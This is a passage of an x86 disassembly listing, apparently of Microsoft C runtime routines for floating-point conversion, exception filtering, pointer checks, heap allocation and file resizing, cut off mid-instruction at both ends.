= dword ptr 8 mov eax, [esp+arg_4] push ebx push esi push edi push 20h mov ebx, [esp+10h+arg_0] cdq pop ecx idiv ecx mov esi, eax mov eax, [esp+0Ch+arg_4] cdq idiv ecx lea edi, [ebx+esi*4] push edi push 1Fh pop ecx push 1 pop eax sub ecx, edx shl eax, cl push eax push dword ptr [edi] call sub_425301 add esp, 0Ch dec esi js short loc_424A31 lea edi, [ebx+esi*4] loc_424A18: ; CODE XREF: sub_4249DF+50j test eax, eax jz short loc_424A31 push edi push 1 push dword ptr [edi] call sub_425301 add esp, 0Ch dec esi sub edi, 4 test esi, esi jge short loc_424A18 loc_424A31: ; CODE XREF: sub_4249DF+34j ; sub_4249DF+3Bj pop edi pop esi pop ebx retn sub_4249DF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424A35 proc near ; CODE XREF: sub_424B90+81p ; sub_424B90+CCp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_4] push ebx push esi push edi lea edi, [eax-1] push 20h pop ecx and [ebp+var_4], 0 lea ebx, [edi+1] push 20h mov eax, ebx pop esi cdq idiv ecx push 1Fh mov ecx, eax mov eax, ebx cdq idiv esi mov eax, [ebp+arg_0] pop esi push 1 mov [ebp+var_8], ecx lea eax, [eax+ecx*4] mov [ebp+arg_4], eax sub esi, edx pop edx mov ecx, esi shl edx, cl test [eax], edx jz short loc_424A99 inc ebx push ebx push [ebp+arg_0] call sub_424996 pop ecx test eax, eax pop ecx jnz short loc_424A96 push edi push [ebp+arg_0] call sub_4249DF pop ecx mov [ebp+var_4], eax pop ecx loc_424A96: ; CODE XREF: sub_424A35+51j mov eax, [ebp+arg_4] loc_424A99: ; CODE XREF: sub_424A35+41j or edx, 0FFFFFFFFh mov ecx, esi shl edx, cl push 3 pop ecx and [eax], edx mov eax, [ebp+var_8] inc eax cmp eax, ecx jge short loc_424AB9 mov edx, [ebp+arg_0] sub ecx, eax lea edi, [edx+eax*4] xor eax, eax rep stosd loc_424AB9: ; CODE XREF: sub_424A35+76j mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_424A35 endp ; =============== S U B R O U T I N E ======================================= sub_424AC1 proc near ; CODE XREF: sub_424B90+75p ; sub_424B90+B6p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push esi push 3 sub ecx, eax pop edx loc_424ACF: ; CODE XREF: sub_424AC1+17j mov esi, [eax] mov [ecx+eax], esi add eax, 4 dec edx jnz short loc_424ACF pop esi retn sub_424AC1 endp ; =============== S U B R O U T I N E ======================================= sub_424ADC proc near ; CODE XREF: sub_424B90+5Fp ; sub_424B90+9Ep ... arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] xor eax, eax stosd stosd stosd pop edi retn sub_424ADC endp ; =============== S U B R O U T I N E ======================================= sub_424AE8 proc near ; CODE XREF: sub_424B90+4Dp arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx loc_424AEE: ; CODE XREF: sub_424AE8+12j cmp dword ptr [eax], 0 jnz short loc_424B00 inc ecx add eax, 4 cmp ecx, 3 jl short loc_424AEE push 1 pop eax retn ; --------------------------------------------------------------------------- loc_424B00: ; CODE XREF: sub_424AE8+9j xor eax, eax retn sub_424AE8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424B03 proc near ; CODE XREF: sub_424B90+C0p ; sub_424B90+DAp ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_4] push ebx push esi push edi push 20h mov edi, [ebp+arg_0] pop ebx or esi, 0FFFFFFFFh cdq mov ecx, ebx mov [ebp+var_4], 3 idiv ecx mov [ebp+var_C], eax mov eax, [ebp+arg_4] cdq idiv ecx and [ebp+arg_4], 0 mov ecx, edx shl esi, cl sub ebx, edx not esi loc_424B39: ; CODE XREF: sub_424B03+58j mov eax, [edi] mov ecx, eax and ecx, esi mov [ebp+var_8], ecx mov ecx, edx shr eax, cl or eax, [ebp+arg_4] mov [edi], eax mov eax, [ebp+var_8] mov ecx, ebx add edi, 4 shl eax, cl dec [ebp+var_4] mov [ebp+arg_4], eax jnz short loc_424B39 mov edi, [ebp+var_C] push 2 pop ebx mov esi, edi push 8 pop ecx shl esi, 2 loc_424B6B: ; CODE XREF: sub_424B03+86j cmp ebx, edi jl short loc_424B7E mov edx, [ebp+arg_0] mov eax, ecx sub eax, esi mov eax, [eax+edx] mov [ecx+edx], eax jmp short loc_424B85 ; --------------------------------------------------------------------------- loc_424B7E: ; CODE XREF: sub_424B03+6Aj mov eax, [ebp+arg_0] and dword ptr [ecx+eax], 0 loc_424B85: ; CODE XREF: sub_424B03+79j dec ebx sub ecx, 4 jns short loc_424B6B pop edi pop esi pop ebx leave retn sub_424B03 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424B90 proc near ; CODE XREF: sub_424CFC+Dp ; sub_424D12+Dp var_18 = byte ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 18h mov eax, [ebp+arg_0] push ebx push esi push edi movzx ecx, word ptr [eax+0Ah] mov ebx, ecx and ecx, 8000h mov [ebp+arg_0], ecx mov ecx, [eax+6] mov [ebp+var_C], ecx mov ecx, [eax+2] movzx eax, word ptr [eax] mov edi, [ebp+arg_8] and ebx, 7FFFh sub ebx, 3FFFh mov [ebp+var_8], ecx shl eax, 10h cmp ebx, 0FFFFC001h mov [ebp+var_4], eax jnz short loc_424BFD lea eax, [ebp+var_C] xor esi, esi push eax call sub_424AE8 test eax, eax pop ecx jnz loc_424CBC lea eax, [ebp+var_C] push eax call sub_424ADC pop ecx loc_424BF5: ; CODE XREF: sub_424B90+E4j push 2 loc_424BF7: ; CODE XREF: sub_424B90+110j pop eax jmp loc_424CBE ; --------------------------------------------------------------------------- loc_424BFD: ; CODE XREF: sub_424B90+45j lea eax, [ebp+var_C] push eax lea eax, [ebp+var_18] push eax call sub_424AC1 push dword ptr [edi+8] lea eax, [ebp+var_C] push eax call sub_424A35 add esp, 10h test eax, eax jz short loc_424C1E inc ebx loc_424C1E: ; CODE XREF: sub_424B90+8Bj mov eax, [edi+4] mov ecx, eax sub ecx, [edi+8] cmp ebx, ecx jge short loc_424C36 lea eax, [ebp+var_C] push eax call sub_424ADC pop ecx jmp short loc_424C72 ; --------------------------------------------------------------------------- loc_424C36: ; CODE XREF: sub_424B90+98j cmp ebx, eax jg short loc_424C79 sub eax, ebx mov esi, eax lea eax, [ebp+var_18] push eax lea eax, [ebp+var_C] push eax call sub_424AC1 lea eax, [ebp+var_C] push esi push eax call sub_424B03 push dword ptr [edi+8] lea eax, [ebp+var_C] push eax call sub_424A35 mov eax, [edi+0Ch] inc eax push eax lea eax, [ebp+var_C] push eax call sub_424B03 add esp, 20h loc_424C72: ; CODE XREF: sub_424B90+A4j xor esi, esi jmp loc_424BF5 ; --------------------------------------------------------------------------- loc_424C79: ; CODE XREF: sub_424B90+A8j cmp ebx, [edi] jl short loc_424CA5 lea eax, [ebp+var_C] push eax call sub_424ADC push dword ptr [edi+0Ch] or byte ptr [ebp+var_C+3], 80h lea eax, [ebp+var_C] push eax call sub_424B03 mov esi, [edi+14h] add esp, 0Ch add esi, [edi] push 1 jmp loc_424BF7 ; --------------------------------------------------------------------------- loc_424CA5: ; CODE XREF: sub_424B90+EBj push dword ptr [edi+0Ch] mov esi, [edi+14h] and byte ptr [ebp+var_C+3], 7Fh lea eax, [ebp+var_C] push eax add esi, ebx call sub_424B03 pop ecx pop ecx loc_424CBC: ; CODE XREF: sub_424B90+55j xor eax, eax loc_424CBE: ; CODE XREF: sub_424B90+68j push 1Fh pop ecx sub ecx, [edi+0Ch] mov edi, [edi+10h] shl esi, cl mov ecx, [ebp+arg_0] neg ecx sbb ecx, ecx and ecx, 80000000h or esi, ecx or esi, [ebp+var_C] cmp edi, 40h jnz short loc_424CED mov ecx, [ebp+arg_4] mov edx, [ebp+var_8] mov [ecx+4], esi mov [ecx], edx jmp short loc_424CF7 ; --------------------------------------------------------------------------- loc_424CED: ; CODE XREF: sub_424B90+14Ej cmp edi, 20h jnz short loc_424CF7 mov ecx, [ebp+arg_4] mov [ecx], esi loc_424CF7: ; CODE XREF: sub_424B90+15Bj ; sub_424B90+160j pop edi pop esi pop ebx leave retn sub_424B90 endp ; =============== S U B R O U T I N E ======================================= sub_424CFC proc near ; CODE XREF: sub_424D28+23p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push offset dword_43D7F8 push [esp+4+arg_4] push [esp+8+arg_0] call sub_424B90 add esp, 0Ch retn sub_424CFC endp ; =============== S U B R O U T I N E ======================================= sub_424D12 proc near ; CODE XREF: sub_424D55+23p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push offset dword_43D810 push [esp+4+arg_4] push [esp+8+arg_0] call sub_424B90 add esp, 0Ch retn sub_424D12 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424D28 proc near ; CODE XREF: sub_42223B+12p var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch xor eax, eax push eax push eax push eax push eax push [ebp+arg_4] lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_C] push eax call sub_4254A2 push [ebp+arg_0] lea eax, [ebp+var_C] push eax call sub_424CFC add esp, 24h leave retn sub_424D28 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424D55 proc near ; CODE XREF: sub_42223B+2Dp var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch xor eax, eax push eax push eax push eax push eax push [ebp+arg_4] lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_C] push eax call sub_4254A2 push [ebp+arg_0] lea eax, [ebp+var_C] push eax call sub_424D12 add esp, 24h leave retn sub_424D55 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424D82 proc near ; CODE XREF: sub_422279+65p ; sub_42237D+63p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov edx, [ebp+arg_8] push ebx mov ebx, [ebp+arg_4] push esi mov esi, [ebp+arg_0] mov ecx, [edx+0Ch] push edi lea edi, [esi+1] mov byte ptr [esi], 30h test ebx, ebx mov eax, edi jle short loc_424DBF mov [ebp+arg_0], ebx xor ebx, ebx loc_424DA5: ; CODE XREF: sub_424D82+38j mov dl, [ecx] test dl, dl jz short loc_424DB1 movsx edx, dl inc ecx jmp short loc_424DB4 ; --------------------------------------------------------------------------- loc_424DB1: ; CODE XREF: sub_424D82+27j push 30h pop edx loc_424DB4: ; CODE XREF: sub_424D82+2Dj mov [eax], dl inc eax dec [ebp+arg_0] jnz short loc_424DA5 mov edx, [ebp+arg_8] loc_424DBF: ; CODE XREF: sub_424D82+1Cj and byte ptr [eax], 0 test ebx, ebx jl short loc_424DD8 cmp byte ptr [ecx], 35h jl short loc_424DD8 loc_424DCB: ; CODE XREF: sub_424D82+52j dec eax cmp byte ptr [eax], 39h jnz short loc_424DD6 mov byte ptr [eax], 30h jmp short loc_424DCB ; --------------------------------------------------------------------------- loc_424DD6: ; CODE XREF: sub_424D82+4Dj inc byte ptr [eax] loc_424DD8: ; CODE XREF: sub_424D82+42j ; sub_424D82+47j cmp byte ptr [esi], 31h jnz short loc_424DE2 inc dword ptr [edx+4] jmp short loc_424DF4 ; --------------------------------------------------------------------------- loc_424DE2: ; CODE XREF: sub_424D82+59j push edi call sub_41B9C0 inc eax push eax push edi push esi call sub_41D670 add esp, 10h loc_424DF4: ; CODE XREF: sub_424D82+5Ej pop edi pop esi pop ebx pop ebp retn sub_424D82 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424DF9 proc near ; CODE XREF: sub_422279+3Fp ; sub_42237D+46p ... var_C = byte ptr -0Ch arg_0 = byte ptr 8 push ebp mov ebp, esp sub esp, 0Ch push esi lea eax, [ebp+arg_0] push edi push eax lea eax, [ebp+var_C] push eax call sub_424E5D pop ecx lea esi, [ebp+var_C] pop ecx push offset word_4DBFB8 push 0 push 11h sub esp, 0Ch mov edi, esp movsd movsd movsw call sub_425973 mov dword_4DBFE0, eax add esp, 18h movsx eax, byte_4DBFBA mov dword_4DBFD8, eax pop edi movsx eax, word_4DBFB8 mov dword_4DBFDC, eax mov dword_4DBFE4, offset dword_4DBFBC mov eax, offset dword_4DBFD8 pop esi leave retn sub_424DF9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424E5D proc near ; CODE XREF: sub_424DF9+10p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov edx, [ebp+arg_4] push ebx push esi push edi mov ax, [edx+6] mov edi, 7FFh mov ecx, eax and eax, 8000h shr ecx, 4 and ecx, edi mov [ebp+arg_4], eax mov eax, [edx+4] mov edx, [edx] movzx ebx, cx mov esi, 80000000h and eax, 0FFFFFh test ebx, ebx mov [ebp+var_4], esi jz short loc_424EAB cmp ebx, edi jz short loc_424EA4 lea edi, [ecx+3C00h] jmp short loc_424ECC ; --------------------------------------------------------------------------- loc_424EA4: ; CODE XREF: sub_424E5D+3Dj mov edi, 7FFFh jmp short loc_424ECC ; --------------------------------------------------------------------------- loc_424EAB: ; CODE XREF: sub_424E5D+39j xor ebx, ebx cmp eax, ebx jnz short loc_424EC3 cmp edx, ebx jnz short loc_424EC3 mov eax, [ebp+arg_0] mov [eax+4], ebx mov [eax], ebx mov [eax+8], bx jmp short loc_424F0E ; --------------------------------------------------------------------------- loc_424EC3: ; CODE XREF: sub_424E5D+52j ; sub_424E5D+56j lea edi, [ecx+3C01h] mov [ebp+var_4], ebx loc_424ECC: ; CODE XREF: sub_424E5D+45j ; sub_424E5D+4Cj mov ecx, edx shr ecx, 15h shl eax, 0Bh or ecx, eax mov eax, [ebp+arg_0] or ecx, [ebp+var_4] shl edx, 0Bh mov [eax+4], ecx mov [eax], edx loc_424EE4: ; CODE XREF: sub_424E5D+A6j test ecx, esi jnz short loc_424F05 mov edx, [eax] add ecx, ecx mov ebx, edx shr ebx, 1Fh or ebx, ecx lea ecx, [edx+edx] mov [eax], ecx mov [eax+4], ebx add edi, 0FFFFh mov ecx, ebx jmp short loc_424EE4 ; --------------------------------------------------------------------------- loc_424F05: ; CODE XREF: sub_424E5D+89j mov ecx, [ebp+arg_4] or ecx, edi mov [eax+8], cx loc_424F0E: ; CODE XREF: sub_424E5D+64j pop edi pop esi pop ebx leave retn sub_424E5D endp ; --------------------------------------------------------------------------- push 2 call sub_41E2C9 pop ecx retn ; =============== S U B R O U T I N E ======================================= sub_424F1C proc near ; DATA XREF: sub_424F62o ; .packed:0043D438o ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi] cmp dword ptr [eax], 0E06D7363h jnz short loc_424F3F cmp dword ptr [eax+10h], 3 jnz short loc_424F3F cmp dword ptr [eax+14h], 19930520h jnz short loc_424F3F jmp sub_422DFC ; --------------------------------------------------------------------------- loc_424F3F: ; CODE XREF: sub_424F1C+Dj ; sub_424F1C+13j ... mov eax, dword_4DBFE8 test eax, eax jz short loc_424F5C push eax call sub_424FB8 test eax, eax pop ecx jz short loc_424F5C push esi call dword_4DBFE8 jmp short loc_424F5E ; --------------------------------------------------------------------------- loc_424F5C: ; CODE XREF: sub_424F1C+2Aj ; sub_424F1C+35j xor eax, eax loc_424F5E: ; CODE XREF: sub_424F1C+3Ej pop esi retn 4 sub_424F1C endp ; =============== S U B R O U T I N E ======================================= sub_424F62 proc near ; DATA XREF: .packed:00429024o push offset sub_424F1C call dword_427010 ; SetUnhandledExceptionFilter mov dword_4DBFE8, eax retn sub_424F62 endp ; =============== S U B R O U T I N E ======================================= sub_424F73 proc near ; DATA XREF: .packed:0042903Co push dword_4DBFE8 call dword_427010 ; SetUnhandledExceptionFilter retn sub_424F73 endp ; =============== S U B R O U T I N E ======================================= sub_424F80 proc near ; CODE XREF: sub_422651+6Bp ; sub_422B62+61p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push 1 pop esi push [esp+4+arg_4] push [esp+8+arg_0] call dword_42700C ; IsBadReadPtr test eax, eax jz short loc_424F98 xor esi, esi loc_424F98: ; CODE XREF: sub_424F80+14j mov eax, esi pop esi retn sub_424F80 endp ; =============== S U B R O U T I N E ======================================= sub_424F9C proc near ; CODE XREF: sub_422B62+73p ; sub_422B62+BFp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push 1 pop esi push [esp+4+arg_4] push [esp+8+arg_0] call dword_427060 ; IsBadWritePtr test eax, eax jz short loc_424FB4 xor esi, esi loc_424FB4: ; CODE XREF: sub_424F9C+14j mov eax, esi pop esi retn sub_424F9C endp ; =============== S U B R O U T I N E ======================================= sub_424FB8 proc near ; CODE XREF: sub_422B62+15Bp ; sub_424F1C+2Dp arg_0 = dword ptr 4 push esi push 1 pop esi push [esp+4+arg_0] call dword_427008 ; IsBadCodePtr test eax, eax jz short loc_424FCC xor esi, esi loc_424FCC: ; CODE XREF: sub_424FB8+10j mov eax, esi pop esi retn sub_424FB8 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_422DFC loc_424FD0: ; CODE XREF: sub_422DFC:loc_422E4Dj push 0Ah call sub_423DD1 push 16h call sub_425C06 pop ecx pop ecx push 3 call sub_41C1A2 ; END OF FUNCTION CHUNK FOR sub_422DFC ; =============== S U B R O U T I N E ======================================= sub_424FE7 proc near ; CODE XREF: sub_42367B+2Bp arg_0 = dword ptr 4 push 4 push 0 push [esp+8+arg_0] call sub_424FF8 add esp, 0Ch retn sub_424FE7 endp ; =============== S U B R O U T I N E ======================================= sub_424FF8 proc near ; CODE XREF: sub_424FE7+8p arg_0 = byte ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch movzx eax, [esp+arg_0] mov cl, [esp+arg_8] test byte_4DD261[eax], cl jnz short loc_425025 cmp [esp+arg_4], 0 jz short loc_42501E movzx eax, word_43CE82[eax*2] and eax, [esp+arg_4] jmp short loc_425020 ; --------------------------------------------------------------------------- loc_42501E: ; CODE XREF: sub_424FF8+16j xor eax, eax loc_425020: ; CODE XREF: sub_424FF8+24j test eax, eax jnz short loc_425025 retn ; --------------------------------------------------------------------------- loc_425025: ; CODE XREF: sub_424FF8+Fj ; sub_424FF8+2Aj push 1 pop eax retn sub_424FF8 endp ; =============== S U B R O U T I N E ======================================= sub_425029 proc near ; CODE XREF: sub_423DD1+11Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx xor ebx, ebx cmp dword_4DBFEC, ebx push esi push edi jnz short loc_425078 push offset aUser32_dll ; "user32.dll" call dword_4270C0 ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_4250AE mov esi, dword_4270C4 push offset aMessageboxa ; "MessageBoxA" push edi call esi ; GetProcAddress test eax, eax mov dword_4DBFEC, eax jz short loc_4250AE push offset aGetactivewindo ; "GetActiveWindow" push edi call esi ; GetProcAddress push offset aGetlastactivep ; "GetLastActivePopup" push edi mov dword_4DBFF0, eax call esi ; GetProcAddress mov dword_4DBFF4, eax loc_425078: ; CODE XREF: sub_425029+Bj mov eax, dword_4DBFF0 test eax, eax jz short loc_425097 call eax mov ebx, eax test ebx, ebx jz short loc_425097 mov eax, dword_4DBFF4 test eax, eax jz short loc_425097 push ebx call eax mov ebx, eax loc_425097: ; CODE XREF: sub_425029+56j ; sub_425029+5Ej ... push [esp+0Ch+arg_8] push [esp+10h+arg_4] push [esp+14h+arg_0] push ebx call dword_4DBFEC loc_4250AA: ; CODE XREF: sub_425029+87j pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_4250AE: ; CODE XREF: sub_425029+1Cj ; sub_425029+33j xor eax, eax jmp short loc_4250AA sub_425029 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4250B2 proc near ; CODE XREF: sub_42413E+22p ; sub_42413E+3Bp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] imul esi, [ebp+arg_4] cmp esi, 0FFFFFFE0h push edi mov [ebp+arg_0], esi ja short loc_4250D3 test esi, esi jnz short loc_4250CD push 1 pop esi loc_4250CD: ; CODE XREF: sub_4250B2+16j add esi, 0Fh and esi, 0FFFFFFF0h loc_4250D3: ; CODE XREF: sub_4250B2+12j ; sub_4250B2+94j xor edi, edi cmp esi, 0FFFFFFE0h ja short loc_425132 mov eax, dword_4DD388 cmp eax, 3 jnz short loc_4250FE mov eax, [ebp+arg_0] cmp eax, dword_4DD380 ja short loc_42511D push eax call sub_41EA6B mov edi, eax pop ecx test edi, edi jnz short loc_425148 jmp short loc_42511D ; --------------------------------------------------------------------------- loc_4250FE: ; CODE XREF: sub_4250B2+30j cmp eax, 2 jnz short loc_42511D cmp esi, dword_43CE74 ja short loc_42511D mov eax, esi shr eax, 4 push eax call sub_41F50E mov edi, eax pop ecx test edi, edi jnz short loc_42515C loc_42511D: ; CODE XREF: sub_4250B2+3Bj ; sub_4250B2+4Aj ... push esi push 8 push dword_4DD384 call dword_427150 ; RtlAllocateHeap mov edi, eax test edi, edi jnz short loc_425156 loc_425132: ; CODE XREF: sub_4250B2+26j cmp dword_4DBE48, 0 jz short loc_425156 push esi call sub_41FBB2 test eax, eax pop ecx jz short loc_42515F jmp short loc_4250D3 ; --------------------------------------------------------------------------- loc_425148: ; CODE XREF: sub_4250B2+48j push [ebp+arg_0] loc_42514B: ; CODE XREF: sub_4250B2+ABj push 0 push edi call sub_41BF70 add esp, 0Ch loc_425156: ; CODE XREF: sub_4250B2+7Ej ; sub_4250B2+87j mov eax, edi loc_425158: ; CODE XREF: sub_4250B2+AFj pop edi pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_42515C: ; CODE XREF: sub_4250B2+69j push esi jmp short loc_42514B ; --------------------------------------------------------------------------- loc_42515F: ; CODE XREF: sub_4250B2+92j xor eax, eax jmp short loc_425158 sub_4250B2 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4241E3 loc_425163: ; CODE XREF: sub_4241E3+Ej push esi push edi push 3 xor edi, edi pop esi cmp dword_4DD020, esi jle short loc_4251B6 loc_425172: ; CODE XREF: sub_4241E3+FD1j mov eax, dword_4DC01C mov eax, [eax+esi*4] test eax, eax jz short loc_4251AD test byte ptr [eax+0Ch], 83h jz short loc_425191 push eax call sub_41BA3B cmp eax, 0FFFFFFFFh pop ecx jz short loc_425191 inc edi loc_425191: ; CODE XREF: sub_4241E3+F9Fj ; sub_4241E3+FABj cmp esi, 14h jl short loc_4251AD mov eax, dword_4DC01C push dword ptr [eax+esi*4] call sub_41BA91 mov eax, dword_4DC01C pop ecx and dword ptr [eax+esi*4], 0 loc_4251AD: ; CODE XREF: sub_4241E3+F99j ; sub_4241E3+FB1j inc esi cmp esi, dword_4DD020 jl short loc_425172 loc_4251B6: ; CODE XREF: sub_4241E3+F8Dj mov eax, edi pop edi pop esi retn ; END OF FUNCTION CHUNK FOR sub_4241E3 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4251BB proc near ; CODE XREF: sub_42423B+271p var_1000 = byte ptr -1000h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 1000h call sub_41C500 push ebx mov ebx, [ebp+arg_0] push esi xor esi, esi cmp ebx, dword_4DD140 jnb loc_4252F0 mov eax, ebx mov ecx, ebx sar eax, 5 and ecx, 1Fh mov eax, dword_4DD040[eax*4] test byte ptr [eax+ecx*8+4], 1 jz loc_4252F0 push 1 push esi push ebx call sub_422F09 add esp, 0Ch cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz loc_4252FA push 2 push esi push ebx call sub_422F09 add esp, 0Ch cmp eax, 0FFFFFFFFh jz loc_4252FA push edi mov edi, [ebp+arg_4] sub edi, eax test edi, edi jle short loc_42529D push 1000h lea eax, [ebp+var_1000] push esi push eax call sub_41BF70 loc_425240: ; DATA XREF: .packed:off_438CB8o push 8000h push ebx call sub_425D78 add esp, 14h mov [ebp+arg_4], eax loc_425251: ; CODE XREF: sub_4251BB+BDj mov eax, 1000h cmp edi, eax jge short loc_42525C mov eax, edi loc_42525C: ; CODE XREF: sub_4251BB+9Dj push eax lea eax, [ebp+var_1000] push eax push ebx call sub_4230FB add esp, 0Ch cmp eax, 0FFFFFFFFh jz short loc_42527A sub edi, eax test edi, edi jle short loc_425290 jmp short loc_425251 ; --------------------------------------------------------------------------- loc_42527A: ; CODE XREF: sub_4251BB+B5j cmp dword_4DBDE0, 5 jnz short loc_42528D mov dword_4DBDDC, 0Dh loc_42528D: ; CODE XREF: sub_4251BB+C6j or esi, 0FFFFFFFFh loc_425290: ; CODE XREF: sub_4251BB+BBj push [ebp+arg_4] push ebx call sub_425D78 pop ecx pop ecx jmp short loc_4252DD ; --------------------------------------------------------------------------- loc_42529D: ; CODE XREF: sub_4251BB+71j jge short loc_4252DD push 0 push [ebp+arg_4] push ebx call sub_422F09 push ebx call sub_4240AA add esp, 10h push eax call dword_427004 ; SetEndOfFile mov esi, eax neg esi sbb esi, esi neg esi dec esi cmp esi, 0FFFFFFFFh jnz short loc_4252DD mov dword_4DBDDC, 0Dh call dword_427094 ; RtlGetLastWin32Error mov dword_4DBDE0, eax loc_4252DD: ; CODE XREF: sub_4251BB+E0j ; sub_4251BB:loc_42529Dj ... push 0 push [ebp+arg_0] push ebx call sub_422F09 add esp, 0Ch mov eax, esi pop edi jmp short loc_4252FD ; --------------------------------------------------------------------------- loc_4252F0: ; CODE XREF: sub_4251BB+1Aj ; sub_4251BB+36j mov dword_4DBDDC, 9 loc_4252FA: ; CODE XREF: sub_4251BB+4Ej ; sub_4251BB+63j or eax, 0FFFFFFFFh loc_4252FD: ; CODE XREF: sub_4251BB+133j pop esi pop ebx leave retn sub_4251BB endp ; =============== S U B R O U T I N E ======================================= sub_425301 proc near ; CODE XREF: sub_4249DF+2Bp ; sub_4249DF+42p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_0] push esi mov esi, [esp+4+arg_4] xor eax, eax lea ecx, [edx+esi] cmp ecx, edx jb short loc_425317 cmp ecx, esi jnb short loc_42531A loc_425317: ; CODE XREF: sub_425301+10j push 1 pop eax loc_42531A: ; CODE XREF: sub_425301+14j mov edx, [esp+4+arg_8] pop esi mov [edx], ecx retn sub_425301 endp ; =============== S U B R O U T I N E ======================================= sub_425322 proc near ; CODE XREF: sub_4253DB+40p ; sub_4253DB+61p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push edi mov edi, [esp+8+arg_4] push esi push dword ptr [edi] push dword ptr [esi] call sub_425301 add esp, 0Ch test eax, eax jz short loc_425354 lea eax, [esi+4] push eax push 1 push dword ptr [eax] call sub_425301 add esp, 0Ch test eax, eax jz short loc_425354 inc dword ptr [esi+8] loc_425354: ; CODE XREF: sub_425322+19j ; sub_425322+2Dj lea eax, [esi+4] push eax push dword ptr [edi+4] push dword ptr [eax] call sub_425301 add esp, 0Ch test eax, eax jz short loc_42536C inc dword ptr [esi+8] loc_42536C: ; CODE XREF: sub_425322+45j lea eax, [esi+8] push eax push dword ptr [edi+8] push dword ptr [eax] call sub_425301 add esp, 0Ch pop edi pop esi retn sub_425322 endp ; =============== S U B R O U T I N E ======================================= sub_425380 proc near ; CODE XREF: sub_4253DB+30p ; sub_4253DB+36p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi push edi mov esi, [eax] mov edi, [eax+4] mov ecx, esi add esi, esi mov [eax], esi lea esi, [edi+edi] shr ecx, 1Fh or esi, ecx mov ecx, [eax+8] mov edx, edi mov [eax+4], esi shr edx, 1Fh shl ecx, 1 or ecx, edx pop edi mov [eax+8], ecx pop esi retn sub_425380 endp ; =============== S U B R O U T I N E ======================================= sub_4253AE proc near ; CODE XREF: sub_425973+1C8p ; sub_425DEE+17Dp arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi push edi mov edx, [eax+8] mov ecx, [eax+4] mov esi, edx mov edi, ecx shl esi, 1Fh shr ecx, 1 or ecx, esi mov [eax+4], ecx mov ecx, [eax] shl edi, 1Fh shr ecx, 1 shr edx, 1 or ecx, edi pop edi mov [eax+8], edx mov [eax], ecx pop esi retn sub_4253AE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4253DB proc near ; CODE XREF: sub_4254A2+3CAp var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h mov eax, [ebp+arg_4] push ebx mov ebx, [ebp+arg_8] xor edx, edx cmp eax, edx push esi mov [ebp+var_4], 404Eh mov [ebx], edx mov [ebx+4], edx mov [ebx+8], edx jbe short loc_42544F push edi mov [ebp+arg_8], eax loc_425402: ; CODE XREF: sub_4253DB+6Fj mov esi, ebx lea edi, [ebp+var_10] movsd movsd push ebx movsd call sub_425380 push ebx call sub_425380 lea eax, 